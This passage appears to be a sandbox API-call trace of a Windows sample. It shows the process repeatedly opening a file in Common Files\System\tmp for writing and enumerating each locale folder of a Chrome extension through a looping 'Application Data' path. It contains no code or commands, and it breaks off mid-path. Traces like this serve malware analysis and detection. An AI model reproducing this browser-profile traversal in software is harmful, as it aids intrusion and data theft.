MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.011] GetFileType (hFile=0x19c) returned 0x1 [0134.011] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30a00, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.011] AreFileApisANSI () returned 1 [0134.011] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.012] GetFileType (hFile=0x19c) returned 0x1 [0134.012] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30b02, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.012] AreFileApisANSI () returned 1 [0134.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.012] GetFileType (hFile=0x19c) returned 0x1 [0134.012] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30c04, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.012] AreFileApisANSI () returned 1 [0134.012] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.012] GetFileType (hFile=0x19c) returned 0x1 [0134.013] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30d06, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.013] AreFileApisANSI () returned 1 [0134.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.013] GetFileType (hFile=0x19c) returned 0x1 [0134.013] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ne\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30e08, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.013] AreFileApisANSI () returned 1 [0134.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.013] GetFileType (hFile=0x19c) returned 0x1 [0134.013] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\nl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x31000, nFileSizeHigh=0x0, nFileSizeLow=0x30f0a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.013] AreFileApisANSI () returned 1 [0134.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.014] GetFileType (hFile=0x19c) returned 0x1 [0134.014] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x3100c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.014] AreFileApisANSI () returned 1 [0134.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.014] GetFileType (hFile=0x19c) returned 0x1 [0134.014] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x3110e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.014] AreFileApisANSI () returned 1 [0134.014] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.014] GetFileType (hFile=0x19c) returned 0x1 [0134.014] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31210, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.015] AreFileApisANSI () returned 1 [0134.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.015] GetFileType (hFile=0x19c) returned 0x1 [0134.015] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31315, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.015] AreFileApisANSI () returned 1 [0134.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.015] GetFileType (hFile=0x19c) returned 0x1 [0134.015] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x3141a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.015] AreFileApisANSI () returned 1 [0134.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.015] GetFileType (hFile=0x19c) returned 0x1 [0134.015] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x3151c, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.015] AreFileApisANSI () returned 1 [0134.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.016] GetFileType (hFile=0x19c) returned 0x1 [0134.016] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x3161e, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.016] AreFileApisANSI () returned 1 [0134.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.016] GetFileType (hFile=0x19c) returned 0x1 [0134.016] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31720, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.016] AreFileApisANSI () returned 1 [0134.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.016] GetFileType (hFile=0x19c) returned 0x1 [0134.016] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31822, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.016] AreFileApisANSI () returned 1 [0134.016] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.017] GetFileType (hFile=0x19c) returned 0x1 [0134.017] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31924, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.017] AreFileApisANSI () returned 1 [0134.017] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.017] GetFileType (hFile=0x19c) returned 0x1 [0134.019] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31a26, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.019] AreFileApisANSI () returned 1 [0134.019] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.020] GetFileType (hFile=0x19c) returned 0x1 [0134.020] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31b28, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.020] AreFileApisANSI () returned 1 [0134.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.020] GetFileType (hFile=0x19c) returned 0x1 [0134.020] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x32000, nFileSizeHigh=0x0, nFileSizeLow=0x31c2a, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0134.020] AreFileApisANSI () returned 1 [0134.020] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0134.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0134.020] GetFileType (hFile=0x19c) returned 0x1 [0134.020] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 